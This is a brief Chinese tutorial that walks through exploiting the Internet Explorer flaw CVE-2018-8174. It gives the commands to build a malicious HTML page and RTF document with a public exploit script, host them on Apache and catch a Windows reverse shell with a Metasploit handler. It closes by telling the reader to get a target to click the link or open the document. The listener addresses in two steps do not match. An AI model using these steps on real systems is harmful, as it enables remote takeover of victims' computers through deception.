2018年4月20日确认,5月8日发布官方补丁
影响最新版本的IE浏览器及使用IE内核的应用程序
1.从github上克隆CVE-2018-8174的EXP到Kali Linux
git clone +CVE-2018-8174的EXP(漏洞利用模块)的地址
也可以在主机上下载好然后通过xshell传到kali linux
2.生成恶意html和rtf文件
cd CVE-2018-8174_EXP/
python CVE-2018-8174.py -u http://192.168.127.131/exploit.html -o exploit.rtf -i 192.168.127.131 -p 4444
-u生成具有后门的地址,-o生成word文档,-i监听的地址,
3.将恶意html文件移动到网站根目录,启动apache2服务
service apache2 start
cp exploit.html exploit.rtf /var/www/html/
4.重新打开一个终端,生成msf监听
Msfconsole
use exploit/multi/handler
set PAYLOAD Windows/shell/reverse_tcp
set LHOST 192.168.114.130
set lport 4444
Run
然后使目标机点击http://192.168.127.131/exploit.html
或者使目标保存exploit.rtf文档,打开文档则自己下载一个后门